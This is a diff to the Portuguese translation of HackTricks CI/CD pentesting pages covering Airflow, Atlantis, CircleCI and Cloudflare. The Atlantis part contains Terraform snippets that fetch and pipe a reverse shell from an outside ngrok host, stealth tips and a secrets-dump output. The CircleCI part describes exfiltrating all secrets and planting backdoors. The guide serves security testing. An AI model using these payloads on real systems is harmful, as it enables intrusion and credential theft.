+Se forem usados, por exemplo, dentro de um comando bash, você pode realizar uma injeção de comando.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
index 32ea3a07d..2c73a5a29 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-configuration.md
@@ -1,17 +1,17 @@
-# Airflow Configuration
+# Configuração do Airflow
 
 {{#include ../../banners/hacktricks-training.md}}
 
 ## Arquivo de Configuração
 
-**Apache Airflow** gera um **arquivo de configuração** em todas as máquinas do airflow chamado **`airflow.cfg`** na pasta inicial do usuário airflow. Este arquivo de configuração contém informações de configuração e **pode conter informações interessantes e sensíveis.**
+**Apache Airflow** gera um **arquivo de configuração** em todas as máquinas do airflow chamado **`airflow.cfg`** na pasta home do usuário airflow. Este arquivo de configuração contém informações de configuração e **pode conter informações interessantes e sensíveis.**
 
 **Existem duas maneiras de acessar este arquivo: Comprometendo alguma máquina do airflow ou acessando o console web.**
 
 Note que os **valores dentro do arquivo de configuração** **podem não ser os utilizados**, pois você pode sobrescrevê-los definindo variáveis de ambiente como `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
 
 Se você tiver acesso ao **arquivo de configuração no servidor web**, pode verificar a **configuração real em execução** na mesma página em que a configuração é exibida.\
-Se você tiver **acesso a alguma máquina dentro do ambiente airflow**, verifique o **ambiente**.
+Se você tiver **acesso a alguma máquina dentro do ambiente do airflow**, verifique o **ambiente**.
 
 Alguns valores interessantes para verificar ao ler o arquivo de configuração:
 
@@ -20,13 +20,13 @@ Alguns valores interessantes para verificar ao ler o arquivo de configuração:
 - **`access_control_allow_headers`**: Isso indica os **cabeçalhos permitidos** para **CORS**
 - **`access_control_allow_methods`**: Isso indica os **métodos permitidos** para **CORS**
 - **`access_control_allow_origins`**: Isso indica as **origens permitidas** para **CORS**
-- **`auth_backend`**: [**De acordo com a documentação**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) algumas opções podem estar em vigor para configurar quem pode acessar a API:
+- **`auth_backend`**: [**De acordo com a documentação**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) algumas opções podem ser configuradas para definir quem pode acessar a API:
 - `airflow.api.auth.backend.deny_all`: **Por padrão, ninguém** pode acessar a API
 - `airflow.api.auth.backend.default`: **Todos podem** acessá-la sem autenticação
 - `airflow.api.auth.backend.kerberos_auth`: Para configurar **autenticação kerberos**
 - `airflow.api.auth.backend.basic_auth`: Para **autenticação básica**
 - `airflow.composer.api.backend.composer_auth`: Usa autenticação de compositores (GCP) (de [**aqui**](https://cloud.google.com/composer/docs/access-airflow-api)).
-- `composer_auth_user_registration_role`: Isso indica a **função** que o **usuário compositor** terá dentro do **airflow** (**Op** por padrão).
+- `composer_auth_user_registration_role`: Isso indica o **papel** que o **usuário compositor** terá dentro do **airflow** (**Op** por padrão).
 - Você também pode **criar seu próprio método de autenticação** com python.
 - **`google_key_path`:** Caminho para a **chave da conta de serviço GCP**
 
@@ -79,12 +79,12 @@ Alguns valores interessantes para verificar ao ler o arquivo de configuração:
 
 - **`cookie_samesite`**: Por padrão é **Lax**, então já é o valor mais fraco possível
 - **`cookie_secure`**: Define a **flag segura** no cookie de sessão
-- **`expose_config`**: Por padrão é Falso, se verdadeiro, a **configuração** pode ser **lida** do **console** web
-- **`expose_stacktrace`**: Por padrão é Verdadeiro, mostrará **tracebacks python** (potencialmente útil para um atacante)
+- **`expose_config`**: Por padrão é False, se verdadeiro, a **configuração** pode ser **lida** do **console** web
+- **`expose_stacktrace`**: Por padrão é True, mostrará **tracebacks do python** (potencialmente útil para um atacante)
 - **`secret_key`**: Esta é a **chave usada pelo flask para assinar os cookies** (se você tiver isso, pode **se passar por qualquer usuário no Airflow**)
 - **`web_server_ssl_cert`**: **Caminho** para o **certificado** **SSL**
 - **`web_server_ssl_key`**: **Caminho** para a **Chave** **SSL**
-- **`x_frame_enabled`**: O padrão é **Verdadeiro**, então por padrão o clickjacking não é possível
+- **`x_frame_enabled`**: O padrão é **True**, então por padrão o clickjacking não é possível
 
 ### Autenticação Web
 
diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
index b132bff1f..12c8bf041 100644
--- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
+++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md
@@ -8,11 +8,11 @@
 
 - **Usuários `Admin`** têm todas as permissões possíveis.
 - **Usuários `Public`** (anônimos) não têm nenhuma permissão.
-- **Usuários `Viewer`** têm permissões limitadas de visualização (apenas leitura). **Não pode ver a configuração.**
-- **Usuários `User`** têm permissões de `Viewer` mais permissões adicionais que permitem gerenciar DAGs um pouco. Ele **pode ver o arquivo de configuração.**
+- **Usuários `Viewer`** têm permissões limitadas de visualização (apenas leitura). **Não podem ver a configuração.**
+- **Usuários `User`** têm permissões de `Viewer` mais permissões adicionais que permitem gerenciar DAGs um pouco. Eles **podem ver o arquivo de configuração.**
 - **Usuários `Op`** têm permissões de `User` mais permissões adicionais de operação.
 
-Observe que **usuários admin** podem **criar mais funções** com mais **permissões granulares**.
+Observe que usuários **admin** podem **criar mais funções** com mais **permissões granulares**.
 
 Além disso, note que a única função padrão com **permissão para listar usuários e funções é Admin, nem mesmo Op** poderá fazer isso.
 
diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md
index def774c6a..dc9269821 100644
--- a/src/pentesting-ci-cd/atlantis-security.md
+++ b/src/pentesting-ci-cd/atlantis-security.md
@@ -12,7 +12,7 @@ Atlantis basicamente ajuda você a executar terraform a partir de Pull Requests
 
 1. Vá para a **página de lançamentos do atlantis** em [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) e **baixe** a que melhor se adapta a você.
 2. Crie um **token pessoal** (com acesso ao repositório) do seu usuário **github**.
-3. Execute `./atlantis testdrive` e isso criará um **repositório de demonstração** que você pode usar para **conversar com atlantis**.
+3. Execute `./atlantis testdrive` e isso criará um **repositório de demonstração** que você pode usar para **se comunicar com atlantis**.
 4. Você pode acessar a página da web em 127.0.0.1:4141.
 
 ### Acesso ao Atlantis
@@ -32,10 +32,10 @@ Atlantis usa opcionalmente [**segredos de Webhook**](https://www.runatlantis.io/
 
 Uma maneira de confirmar isso seria **permitir que as solicitações venham apenas dos IPs** do seu host Git, mas uma maneira mais fácil é usar um Segredo de Webhook.
 
-Observe que, a menos que você use um servidor github ou bitbucket privado, precisará expor os endpoints de webhook para a Internet.
+Observe que, a menos que você use um servidor privado do github ou bitbucket, você precisará expor os endpoints de webhook para a Internet.
 
 > [!WARNING]
-> Atlantis estará **expondo webhooks** para que o servidor git possa enviar informações. Do ponto de vista de um atacante, seria interessante saber **se você pode enviar mensagens** para ele.
+> Atlantis estará **expondo webhooks** para que o servidor git possa enviar informações. Do ponto de vista de um atacante, seria interessante saber **se você pode enviar mensagens**.
 
 #### Credenciais do Provedor <a href="#provider-credentials" id="provider-credentials"></a>
 
@@ -60,11 +60,11 @@ Cabe a você como [fornecer credenciais](https://www.runatlantis.io/docs/provide
 
 Por padrão, o Atlantis executará uma **página da web na porta 4141 no localhost**. Esta página apenas permite que você habilite/desabilite o atlantis apply e verifique o status do plano dos repositórios e os desbloqueie (não permite modificar coisas, então não é tão útil).
 
-Você provavelmente não a encontrará exposta à internet, mas parece que por padrão **nenhuma credencial é necessária** para acessá-la (e se forem, `atlantis`:`atlantis` são as **padrões**).
+Provavelmente você não a encontrará exposta à internet, mas parece que por padrão **nenhuma credencial é necessária** para acessá-la (e se forem, `atlantis`:`atlantis` são as **padrões**).
 
 ### Configuração do Servidor
 
-A configuração para `atlantis server` pode ser especificada via flags de linha de comando, variáveis de ambiente, um arquivo de configuração ou uma mistura dos três.
+A configuração para `atlantis server` pode ser especificada por meio de flags de linha de comando, variáveis de ambiente, um arquivo de configuração ou uma mistura dos três.
 
 - Você pode encontrar [**aqui a lista de flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) suportadas pelo servidor Atlantis.
 - Você pode encontrar [**aqui como transformar uma opção de configuração em uma variável de ambiente**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
@@ -105,7 +105,7 @@ Na configuração do repositório (configuração do lado do servidor), você po
 Então, você pode permitir que o arquivo **atlantis.yaml** de cada repositório **especifique o workflow a ser usado.**
 
 > [!CAUTION]
-> Se a flag [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` estiver definida como **True**, workflows podem ser **especificados** no arquivo **`atlantis.yaml`** de cada repositório. Também pode ser potencialmente necessário que **`allowed_overrides`** especifique também **`workflow`** para **sobrescrever o workflow** que será usado.\
+> Se a flag [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` estiver definida como **True**, workflows podem ser **especificados** no arquivo **`atlantis.yaml`** de cada repositório. Também pode ser necessário que **`allowed_overrides`** especifique também **`workflow`** para **sobrescrever o workflow** que será usado.\
 > Isso basicamente dará **RCE no servidor Atlantis para qualquer usuário que puder acessar esse repositório**.
 >
 > ```yaml
@@ -182,7 +182,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"
 ```
 **Ataque Mais Discreto**
 
-Você pode realizar este ataque de uma **maneira mais discreta**, seguindo estas sugestões:
+Você pode realizar este ataque de uma maneira **mais discreta**, seguindo estas sugestões:
 
 - Em vez de adicionar o rev shell diretamente no arquivo terraform, você pode **carregar um recurso externo** que contém o rev shell:
 ```javascript
@@ -195,23 +195,23 @@ Você pode encontrar o código rev shell em [https://github.com/carlospolop/terr
 - No recurso externo, use o recurso **ref** para ocultar o **código rev shell do terraform em um branch** dentro do repositório, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b`
 - **Em vez** de criar um **PR para master** para acionar o Atlantis, **crie 2 branches** (test1 e test2) e crie um **PR de um para o outro**. Quando você tiver concluído o ataque, apenas **remova o PR e os branches**.
 
-#### Atlantis plan Secrets Dump
+#### Dump de Segredos do Atlantis
 
-Você pode **extrair segredos usados pelo terraform** executando `atlantis plan` (`terraform plan`) colocando algo assim no arquivo terraform:
+Você pode **dump secrets usados pelo terraform** executando `atlantis plan` (`terraform plan`) colocando algo assim no arquivo terraform:
 ```json
 output "dotoken" {
 value = nonsensitive(var.do_token)
 }
 ```
-#### Atlantis apply RCE - Modificação de configuração em um novo PR
+#### Atlantis aplica RCE - Modificação de configuração em nova PR
 
-Se você tiver acesso de escrita a um repositório, poderá criar um novo branch nele e gerar um PR. Se você puder **executar `atlantis apply`, você poderá RCE dentro do servidor Atlantis**.
+Se você tiver acesso de escrita a um repositório, poderá criar um novo branch nele e gerar uma PR. Se você puder **executar `atlantis apply`, poderá RCE dentro do servidor Atlantis**.
 
 No entanto, você geralmente precisará contornar algumas proteções:
 
-- **Mergeable**: Se essa proteção estiver definida no Atlantis, você só poderá executar **`atlantis apply` se o PR for mergeable** (o que significa que a proteção do branch precisa ser contornada).
+- **Mergeable**: Se essa proteção estiver definida no Atlantis, você só poderá executar **`atlantis apply` se a PR for mergeable** (o que significa que a proteção do branch precisa ser contornada).
 - Verifique possíveis [**contornos de proteções de branch**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
-- **Aprovado**: Se essa proteção estiver definida no Atlantis, **outro usuário deve aprovar o PR** antes que você possa executar `atlantis apply`
+- **Aprovado**: Se essa proteção estiver definida no Atlantis, **outro usuário deve aprovar a PR** antes que você possa executar `atlantis apply`
 - Por padrão, você pode abusar do [**token do Gitbot para contornar essa proteção**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md)
 
 Executando **`terraform apply` em um arquivo Terraform malicioso com** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\
@@ -231,11 +231,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
 }
 }
 ```
-Siga as **sugestões da técnica anterior** para realizar este ataque de uma maneira **mais furtiva**.
+Siga as **sugestões da técnica anterior** para realizar este ataque de uma **forma mais furtiva**.
 
 #### Injeção de Parâmetros do Terraform
 
-Ao executar `atlantis plan` ou `atlantis apply`, o terraform está sendo executado sob, você pode passar comandos para o terraform a partir do atlantis comentando algo como:
+Ao executar `atlantis plan` ou `atlantis apply`, o terraform está sendo executado por baixo, você pode passar comandos para o terraform a partir do atlantis comentando algo como:
 ```bash
 atlantis plan -- <terraform commands>
 atlantis plan -- -h #Get terraform plan help
@@ -247,13 +247,13 @@ Algo que você pode passar são variáveis de ambiente que podem ser úteis para
 
 #### Fluxo de Trabalho Personalizado
 
-Executando **comandos de build personalizados maliciosos** especificados em um arquivo `atlantis.yaml`. Atlantis usa o arquivo `atlantis.yaml` do branch da pull request, **não** do `master`.\
+Executando **comandos de build personalizados maliciosos** especificados em um arquivo `atlantis.yaml`. O Atlantis usa o arquivo `atlantis.yaml` do branch da pull request, **não** do `master`.\
 Essa possibilidade foi mencionada em uma seção anterior:
 
 > [!CAUTION]
-> Se a flag de [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` estiver definida como **True**, fluxos de trabalho podem ser **especificados** no arquivo **`atlantis.yaml`** de cada repositório. Também pode ser necessário que **`allowed_overrides`** especifique também **`workflow`** para **substituir o fluxo de trabalho** que será utilizado.
+> Se a flag de [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` estiver definida como **True**, os fluxos de trabalho podem ser **especificados** no arquivo **`atlantis.yaml`** de cada repositório. Também pode ser necessário que **`allowed_overrides`** especifique também **`workflow`** para **substituir o fluxo de trabalho** que será utilizado.
 >
-> Isso basicamente dará **RCE no servidor Atlantis para qualquer usuário que possa acessar esse repositório**.
+> Isso basicamente dará **RCE no servidor Atlantis para qualquer usuário que puder acessar esse repositório**.
 >
 > ```yaml
 > # atlantis.yaml
@@ -274,7 +274,7 @@ Essa possibilidade foi mencionada em uma seção anterior:
 
 #### Contornar proteções de plan/apply
 
-Se a flag de [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _tem_ `apply_requirements` configurado, é possível que um repositório **modifique as proteções de plan/apply para contorná-las**.
+Se a flag de [**configuração do lado do servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allowed_overrides` _tiver_ `apply_requirements` configurado, é possível que um repositório **modifique as proteções de plan/apply para contorná-las**.
 ```yaml
 repos:
 - id: /.*/
@@ -284,7 +284,7 @@ apply_requirements: []
 
 Se alguém enviar **`atlantis plan/apply` comentários em seus pull requests válidos,** isso fará com que o terraform seja executado quando você não quiser.
 
-Além disso, se você não tiver configurado na **proteção de branch** para pedir para **reevaluar** cada PR quando um **novo commit é enviado** para ele, alguém poderia **escrever configs maliciosas** (ver cenários anteriores) na configuração do terraform, executar `atlantis plan/apply` e obter RCE.
+Além disso, se você não tiver configurado na **proteção de branch** para pedir para **reevaluar** cada PR quando um **novo commit for enviado** para ele, alguém poderia **escrever configs maliciosas** (ver cenários anteriores) na configuração do terraform, executar `atlantis plan/apply` e obter RCE.
 
 Esta é a **configuração** nas proteções de branch do Github:
 
@@ -321,7 +321,7 @@ Porque qualquer um pode comentar em pull requests públicos, mesmo com todas as
 
 #### Don't Use `--allow-fork-prs` <a href="#don-t-use-allow-fork-prs" id="don-t-use-allow-fork-prs"></a>
 
-Se você estiver executando em um repositório público (o que não é recomendado, veja acima), você não deve definir `--allow-fork-prs` (o padrão é falso) porque qualquer um pode abrir um pull request de seu fork para seu repositório.
+Se você estiver executando em um repositório público (o que não é recomendado, veja acima), você não deve definir `--allow-fork-prs` (padrão é falso) porque qualquer um pode abrir um pull request de seu fork para seu repositório.
 
 #### `--repo-allowlist` <a href="#repo-allowlist" id="repo-allowlist"></a>
 
@@ -336,13 +336,13 @@ Essa flag garante que sua instalação do Atlantis não esteja sendo usada com r
 
 #### Protect Terraform Planning <a href="#protect-terraform-planning" id="protect-terraform-planning"></a>
 
-Se atacantes estiverem enviando pull requests com código malicioso do Terraform em seu modelo de ameaça, então você deve estar ciente de que as aprovações de `terraform apply` não são suficientes. É possível executar código malicioso em um `terraform plan` usando a [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ou especificando um provedor malicioso. Esse código poderia então exfiltrar suas credenciais.
+Se atacantes estiverem enviando pull requests com código malicioso do Terraform no seu modelo de ameaça, então você deve estar ciente de que as aprovações do `terraform apply` não são suficientes. É possível executar código malicioso em um `terraform plan` usando a [`external` data source](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ou especificando um provedor malicioso. Esse código poderia então exfiltrar suas credenciais.
 
 Para evitar isso, você poderia:
 
 1. Incorporar provedores na imagem do Atlantis ou hospedar e negar egress em produção.
 2. Implementar o protocolo de registro de provedores internamente e negar egress público, assim você controla quem tem acesso de escrita ao registro.
-3. Modificar o passo `plan` da sua [configuração de repositório do lado do servidor](https://www.runatlantis.io/docs/server-side-repo-config.html) para validar contra o uso de provedores ou fontes de dados não permitidos ou PRs de usuários não permitidos. Você também poderia adicionar validação extra neste ponto, por exemplo, exigindo um "joinha" no PR antes de permitir que o `plan` continue. O Conftest poderia ser útil aqui.
+3. Modificar o [configuração do repositório do lado do servidor](https://www.runatlantis.io/docs/server-side-repo-config.html)'s passo `plan` para validar contra o uso de provedores ou fontes de dados não permitidos ou PRs de usuários não permitidos. Você também poderia adicionar validação extra neste ponto, por exemplo, exigindo um "joinha" no PR antes de permitir que o `plan` continue. O Conftest poderia ser útil aqui.
 
 #### Webhook Secrets <a href="#webhook-secrets" id="webhook-secrets"></a>
 
diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md
index f0315b32a..ab12bc278 100644
--- a/src/pentesting-ci-cd/circleci-security.md
+++ b/src/pentesting-ci-cd/circleci-security.md
@@ -2,26 +2,26 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-### Basic Information
+### Informações Básicas
 
 [**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) é uma plataforma de Integração Contínua onde você pode **definir templates** indicando o que deseja que ela faça com algum código e quando fazê-lo. Dessa forma, você pode **automatizar testes** ou **implantações** diretamente **da sua branch principal do repositório**, por exemplo.
 
-### Permissions
+### Permissões
 
 **CircleCI** **herda as permissões** do github e bitbucket relacionadas à **conta** que faz login.\
 Nos meus testes, verifiquei que, desde que você tenha **permissões de escrita sobre o repositório no github**, você poderá **gerenciar as configurações do projeto no CircleCI** (definir novas chaves ssh, obter chaves de api do projeto, criar novas branches com novas configurações do CircleCI...).
 
 No entanto, você precisa ser um **administrador do repositório** para **converter o repositório em um projeto CircleCI**.
 
-### Env Variables & Secrets
+### Variáveis de Ambiente & Segredos
 
 De acordo com [**a documentação**](https://circleci.com/docs/2.0/env-vars/), existem diferentes maneiras de **carregar valores em variáveis de ambiente** dentro de um fluxo de trabalho.
 
-#### Built-in env variables
+#### Variáveis de ambiente integradas
 
 Todo contêiner executado pelo CircleCI sempre terá [**variáveis de ambiente específicas definidas na documentação**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) como `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` ou `CIRCLE_USERNAME`.
 
-#### Clear text
+#### Texto claro
 
 Você pode declará-las em texto claro dentro de um **comando**:
 ```yaml
@@ -39,7 +39,7 @@ command: echo $SECRET
 environment:
 SECRET: A secret
 ```
-Você pode declará-los em texto claro dentro do **build-job environment**:
+Você pode declará-los em texto claro dentro do **ambiente de build-job**:
 ```yaml
 jobs:
 build-job:
@@ -65,23 +65,23 @@ Você pode vê-los **declarados em** _https://app.circleci.com/settings/project/
 ![](<../images/image (129).png>)
 
 > [!CAUTION]
-> A funcionalidade "**Importar Variáveis**" permite **importar variáveis de outros projetos** para este.
+> A funcionalidade "**Import Variables**" permite **importar variáveis de outros projetos** para este.
 
 #### Segredos de Contexto
 
-Estes são segredos que são **ampla organização**. Por **padrão, qualquer repositório** poderá **acessar qualquer segredo** armazenado aqui:
+Estes são segredos que são **ampla organização**. Por **padrão, qualquer repo** poderá **acessar qualquer segredo** armazenado aqui:
 
 ![](<../images/image (123).png>)
 
 > [!TIP]
 > No entanto, observe que um grupo diferente (em vez de Todos os membros) pode ser **selecionado para dar acesso apenas a pessoas específicas**.\
-> Esta é atualmente uma das melhores maneiras de **aumentar a segurança dos segredos**, para não permitir que todos tenham acesso a eles, mas apenas algumas pessoas.
+> Esta é atualmente uma das melhores maneiras de **aumentar a segurança dos segredos**, para não permitir que todos os acessem, mas apenas algumas pessoas.
 
 ### Ataques
 
 #### Buscar Segredos em Texto Claro
 
-Se você tiver **acesso ao VCS** (como github), verifique o arquivo `.circleci/config.yml` de **cada repositório em cada branch** e **busque** por potenciais **segredos em texto claro** armazenados lá.
+Se você tiver **acesso ao VCS** (como github), verifique o arquivo `.circleci/config.yml` de **cada repo em cada branch** e **busque** por potenciais **segredos em texto claro** armazenados lá.
 
 #### Enumeração de Variáveis de Ambiente Secretas & Contexto
 
@@ -90,10 +90,10 @@ Verificando o código, você pode encontrar **todos os nomes dos segredos** que
 #### Exfiltrar Segredos do Projeto
 
 > [!WARNING]
-> Para **exfiltrar TODOS** os **SEGREDOS** do projeto e do contexto, você **apenas** precisa ter acesso **WRITE** a **apenas 1 repositório** em toda a organização do github (_e sua conta deve ter acesso aos contextos, mas por padrão todos podem acessar todos os contextos_).
+> Para **exfiltrar TODOS** os **SEGREDOS** do projeto e do contexto, você **apenas** precisa ter acesso **WRITE** a **apenas 1 repo** em toda a organização do github (_e sua conta deve ter acesso aos contextos, mas por padrão todos podem acessar todos os contextos_).
 
 > [!CAUTION]
-> A funcionalidade "**Importar Variáveis**" permite **importar variáveis de outros projetos** para este. Portanto, um atacante poderia **importar todas as variáveis do projeto de todos os repositórios** e então **exfiltrar todas elas juntas**.
+> A funcionalidade "**Import Variables**" permite **importar variáveis de outros projetos** para este. Portanto, um atacante poderia **importar todas as variáveis do projeto de todos os repos** e então **exfiltrar todas elas juntas**.
 
 Todos os segredos do projeto sempre são definidos no env dos jobs, então apenas chamando env e ofuscando-o em base64 irá exfiltrar os segredos no **console de log da web dos workflows**:
 ```yaml
@@ -143,7 +143,7 @@ jobs:
 ```
 #### Exfiltrar Segredos de Contexto
 
-Você precisa **especificar o nome do contexto** (isso também irá exfiltrar os segredos do projeto):
+Você precisa **especificar o nome do contexto** (isso também exfiltrará os segredos do projeto):
 ```yaml
 version: 2.1
 
@@ -192,11 +192,11 @@ jobs:
 context: Test-Context
 ```
 > [!WARNING]
-> Apenas criar um novo `.circleci/config.yml` em um repositório **não é suficiente para acionar uma build do circleci**. Você precisa **habilitá-lo como um projeto no console do circleci**.
+> Apenas criar um novo `.circleci/config.yml` em um repositório **não é suficiente para acionar uma construção do circleci**. Você precisa **habilitá-lo como um projeto no console do circleci**.
 
 #### Escape to Cloud
 
-**CircleCI** oferece a opção de executar **suas builds em suas máquinas ou em suas próprias**.\
+**CircleCI** oferece a opção de executar **suas construções em suas máquinas ou em suas próprias**.\
 Por padrão, suas máquinas estão localizadas no GCP, e você inicialmente não conseguirá encontrar nada relevante. No entanto, se uma vítima estiver executando as tarefas em **suas próprias máquinas (potencialmente, em um ambiente de nuvem)**, você pode encontrar um **endpoint de metadados da nuvem com informações interessantes**.
 
 Observe que nos exemplos anteriores tudo foi lançado dentro de um contêiner docker, mas você também pode **pedir para lançar uma máquina VM** (que pode ter permissões de nuvem diferentes):
@@ -228,8 +228,8 @@ version: 19.03.13
 - É possível **adicionar chaves SSH** aos projetos.
 - _https://app.circleci.com/settings/project/github/\<org>/\<repo>/ssh_
 - É possível **criar um cron job em uma branch oculta** em um projeto inesperado que está **vazando** todas as variáveis de **contexto env** todos os dias.
-- Ou até mesmo criar em uma branch / modificar um job conhecido que irá **vazar** todos os segredos de contexto e **projetos** todos os dias.
+- Ou até mesmo criar em uma branch / modificar um job conhecido que irá **vazar** todos os segredos de **contexto e projetos** todos os dias.
 - Se você é um proprietário do github, pode **permitir orbs não verificados** e configurar um em um job como **backdoor**.
-- Você pode encontrar uma **vulnerabilidade de injeção de comando** em alguma tarefa e **injetar comandos** via um **segredo** modificando seu valor.
+- Você pode encontrar uma **vulnerabilidade de injeção de comando** em alguma tarefa e **injetar comandos** via um **secreto** modificando seu valor.
 
 {{#include ../banners/hacktricks-training.md}}
diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md
index 8458d6971..d4eb0f195 100644
--- a/src/pentesting-ci-cd/cloudflare-security/README.md
+++ b/src/pentesting-ci-cd/cloudflare-security/README.md
@@ -1,8 +1,8 @@
-# Cloudflare Security
+# Segurança do Cloudflare
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Em uma conta Cloudflare, existem algumas **configurações gerais e serviços** que podem ser configurados. Nesta página, vamos **analisar as configurações relacionadas à segurança de cada seção:**
+Em uma conta do Cloudflare, existem algumas **configurações gerais e serviços** que podem ser configurados. Nesta página, vamos **analisar as configurações relacionadas à segurança de cada seção:**
 
 <figure><img src="../../images/image (117).png" alt=""><figcaption></figcaption></figure>
 
@@ -24,20 +24,20 @@ Revise cada um com:
 cloudflare-domains.md
 {{#endref}}
 
-## Analytics
+## Análises
 
 _Eu não consegui encontrar nada para verificar em uma revisão de segurança de configuração._
 
-## Pages
+## Páginas
 
 Em cada página do Cloudflare:
 
 - [ ] Verifique se há **informações sensíveis** no **`Build log`**.
 - [ ] Verifique se há **informações sensíveis** no **repositório do Github** atribuído às páginas.
-- [ ] Verifique a possível comprometimento do repositório do github via **workflow command injection** ou comprometimento de `pull_request_target`. Mais informações na [**página de Segurança do Github**](../github-security/).
+- [ ] Verifique se há potencial comprometimento do repositório do github via **injeção de comando de workflow** ou comprometimento de `pull_request_target`. Mais informações na [**página de Segurança do Github**](../github-security/).
 - [ ] Verifique se há **funções vulneráveis** no diretório `/fuctions` (se houver), verifique os **redirecionamentos** no arquivo `_redirects` (se houver) e **cabeçalhos mal configurados** no arquivo `_headers` (se houver).
 - [ ] Verifique se há **vulnerabilidades** na **página da web** via **blackbox** ou **whitebox** se você puder **acessar o código**.
-- [ ] Nos detalhes de cada página `/<page_id>/pages/view/blocklist/settings/functions`. Verifique se há **informações sensíveis** nas **`Environment variables`**.
+- [ ] Nos detalhes de cada página `/<page_id>/pages/view/blocklist/settings/functions`. Verifique se há **informações sensíveis** nas **`Variáveis de Ambiente`**.
 - [ ] Na página de detalhes, verifique também o **comando de build** e o **diretório raiz** para **potenciais injeções** que possam comprometer a página.
 
 ## **Workers**
@@ -45,7 +45,7 @@ Em cada página do Cloudflare:
 Em cada worker do Cloudflare, verifique:
 
 - [ ] Os gatilhos: O que faz o worker ser acionado? Um **usuário pode enviar dados** que serão **usados** pelo worker?
-- [ ] Nas **`Settings`**, verifique se há **`Variables`** contendo **informações sensíveis**.
+- [ ] Nas **`Configurações`**, verifique se há **`Variáveis`** contendo **informações sensíveis**.
 - [ ] Verifique o **código do worker** e procure por **vulnerabilidades** (especialmente em lugares onde o usuário pode gerenciar a entrada).
 - Verifique SSRFs retornando a página indicada que você pode controlar.
 - Verifique XSSs executando JS dentro de uma imagem svg.
@@ -64,14 +64,14 @@ Em cada bucket R2, verifique:
 
 TODO
 
-## Images
+## Imagens
 
 TODO
 
-## Security Center
+## Centro de Segurança
 
-- [ ] Se possível, execute uma **varredura de `Security Insights`** e uma **varredura de `Infrastructure`**, pois elas **destacarão** informações interessantes do ponto de vista de **segurança**.
-- [ ] Apenas **verifique essas informações** para configurações de segurança incorretas e informações interessantes.
+- [ ] Se possível, execute uma **varredura de `Security Insights`** e uma **varredura de `Infrastructure`**, pois elas **destacarão** informações interessantes em termos de **segurança**.
+- [ ] Apenas **verifique essas informações** para configurações de segurança inadequadas e informações interessantes.
 
 ## Turnstile
 
@@ -83,51 +83,51 @@ TODO
 cloudflare-zero-trust-network.md
 {{#endref}}
 
-## Bulk Redirects
+## Redirecionamentos em Massa
 
 > [!NOTE]
-> Ao contrário dos [Dynamic Redirects](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), os [**Bulk Redirects**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) são essencialmente estáticos — eles não **suportam operações de substituição de string** ou expressões regulares. No entanto, você pode configurar parâmetros de redirecionamento de URL que afetam seu comportamento de correspondência de URL e seu comportamento em tempo de execução.
+> Ao contrário dos [Redirecionamentos Dinâmicos](https://developers.cloudflare.com/rules/url-forwarding/dynamic-redirects/), os [**Redirecionamentos em Massa**](https://developers.cloudflare.com/rules/url-forwarding/bulk-redirects/) são essencialmente estáticos — eles não suportam operações de substituição de string ou expressões regulares. No entanto, você pode configurar parâmetros de redirecionamento de URL que afetam seu comportamento de correspondência de URL e seu comportamento em tempo de execução.
 
 - [ ] Verifique se as **expressões** e **requisitos** para redirecionamentos **fazem sentido**.
 - [ ] Verifique também se há **endpoints ocultos sensíveis** que contenham informações interessantes.
 
-## Notifications
+## Notificações
 
 - [ ] Verifique as **notificações.** Essas notificações são recomendadas para segurança:
-- `Usage Based Billing`
-- `HTTP DDoS Attack Alert`
-- `Layer 3/4 DDoS Attack Alert`
-- `Advanced HTTP DDoS Attack Alert`
